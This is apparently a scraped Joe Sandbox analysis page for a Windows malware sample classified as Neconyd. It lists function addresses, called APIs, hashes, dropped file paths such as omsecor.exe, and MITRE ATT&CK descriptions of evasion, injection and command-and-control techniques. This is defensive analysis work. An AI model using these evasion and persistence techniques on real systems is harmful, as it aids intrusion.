Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: "domain"$"url"
API String ID: 2525500382-2438671658
Opcode ID: 98133a6a8bfb7a18a2a86276567a63b94d588fd2e230135a268bf1c7eb2bd3b5
Instruction ID: 610bf4d9b2292206f8ef054453b19a236663fc5a2da35db14ea77673b97cd822
Opcode Fuzzy Hash: 98133a6a8bfb7a18a2a86276567a63b94d588fd2e230135a268bf1c7eb2bd3b5
Instruction Fuzzy Hash: 08F0A271A0021DA6CF41AAA9CC05FD637E8AB44348F1444B6F908F7281EA78EA188B94

Function 00409581 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

CharLowerW.USER32(?,?,?,?,?), ref: 004095A4
CharLowerW.USER32(?,?,?,?,?,?,?), ref: 004095D8
SysFreeString.OLEAUT32(?), ref: 00409608
SysFreeString.OLEAUT32(?), ref: 0040960D

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: CharFreeLowerString
String ID:
API String ID: 2335467167-0
Opcode ID: ff78d62f8bf35a608bc63f02c9c9fafbc1ea89148f156ec964e1e543baeabb3a
Instruction ID: 6911929459278785efe31e607170db17e103bee024a9a22ae291265c1613d99e
Opcode Fuzzy Hash: ff78d62f8bf35a608bc63f02c9c9fafbc1ea89148f156ec964e1e543baeabb3a
Instruction Fuzzy Hash: 20116D72D00108BBDB019F9ADC85B9E7BB8EF44305F1544BAE405F21A1D779AE409F44

Function 004072ED Relevance: 6.0, APIs: 4, Instructions: 42timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 004072F9
SystemTimeToFileTime.KERNEL32(?,?), ref: 00407337
SystemTimeToFileTime.KERNEL32(000007B2,?), ref: 00407341
__aulldiv.LIBCMT ref: 00407359

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: Time$System$File$__aulldiv
String ID:
API String ID: 3735792614-0
Opcode ID: fb9972a15ff1dd7e61217f7ff9a5823acba4978d5a12943579487cf22718de7c
Instruction ID: 0875687ad9f8fbdff1f190dbab39d4211c2ed1a8acd2afdabfbd9ccbaffc37b8
Opcode Fuzzy Hash: fb9972a15ff1dd7e61217f7ff9a5823acba4978d5a12943579487cf22718de7c
Instruction Fuzzy Hash: 83011A66D2022DAACF00DBE5DD44CEFB7BCFF44344B04051AE901B3210E7B5A648CBA9

Function 00406C77 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Internet Explorer,00000000,00000001,00000000), ref: 00406C91

Strings

Build, xrefs: 00406CA6
SOFTWARE\Microsoft\Internet Explorer, xrefs: 00406C87

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: Open
String ID: Build$SOFTWARE\Microsoft\Internet Explorer
API String ID: 71445658-938904094
Opcode ID: 340e09b6331f5021cec00f630817528513552a638f53ca028bdc246a1c5cc706
Instruction ID: 930cfdd3d9e2cf302383723a85cc45ac24d6ba1b6d45bcf7a76994dd36721e6e
Opcode Fuzzy Hash: 340e09b6331f5021cec00f630817528513552a638f53ca028bdc246a1c5cc706
Instruction Fuzzy Hash: FBE08672664218FAEF009B929C07FDA77ACDB00758F20086AF502F10C1DAB5F714D6AC

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report cOviNFmw21.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Neconyd

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\omsecor.exe

C:\Windows\SysWOW64\merocz.xc6

C:\Windows\SysWOW64\omsecor.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
cOviNFmw21.exe

Function 004075D4 Relevance: 22.6, APIs: 15, Instructions: 128
filememoryCOMMON

Function 0040ABD9 Relevance: 3.0, APIs: 2, Instructions: 26
fileCOMMON

Function 0040B346 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 153
sleepfileCOMMON

Function 0040AC20 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49
registryCOMMON

Function 0040AAFD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42
COMMON

Function 00407727 Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Function 004077F0 Relevance: 3.0, APIs: 2, Instructions: 30
processCOMMON

Function 004069C0 Relevance: 3.0, APIs: 2, Instructions: 25
registryCOMMON

Function 00407036 Relevance: 16.6, APIs: 11, Instructions: 97
filenetworkCOMMON

Function 0040B096 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 181
threadnetworkCOMMON

Function 00409C99 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 127
memorynetworkfileCOMMON

Function 00406E69 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 130
COMMON

Function 00405229 Relevance: 16.6, APIs: 3, Strings: 8, Instructions: 134
sleepCOMMON

Function 00409301 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 105
memoryCOMMON

Function 00406ADF Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 136
registryCOMMON